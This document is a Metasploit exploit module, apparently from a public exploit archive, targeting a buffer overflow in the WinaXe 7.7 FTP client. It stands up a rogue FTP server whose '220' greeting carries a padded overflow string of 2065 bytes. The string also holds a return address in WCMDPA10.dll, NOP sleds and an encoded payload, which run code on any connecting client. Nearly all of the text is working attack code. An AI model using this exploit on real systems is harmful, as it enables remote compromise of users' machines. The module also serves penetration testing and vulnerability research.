WinaXe 7.7 FTP Client – Remote Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer def initialize(info = {}) super(update_info(info, 'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the WinaXe 7.7 FTP client. This issue is triggered when a client connects to the server and is expecting the Server Ready response. }, 'Author' => [ 'Chris Higgins', # msf Module -- @ch1gg1ns 'hyp3rlinx' # Original discovery ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '40693'], [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d" }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Offset' => 2065, 'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll } ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 03 2016', 'DefaultTarget' => 0)) end def on_client_unknown_command(c, _cmd, _arg) c.put("200 OK\r\n") end def on_client_connect(c) print_status("Client connected...") sploit = rand_text(target['Offset']) sploit << [target.ret].pack('V') sploit << make_nops(10) sploit << payload.encoded sploit << make_nops(20) c.put("220" + sploit + "\r\n") c.close end end |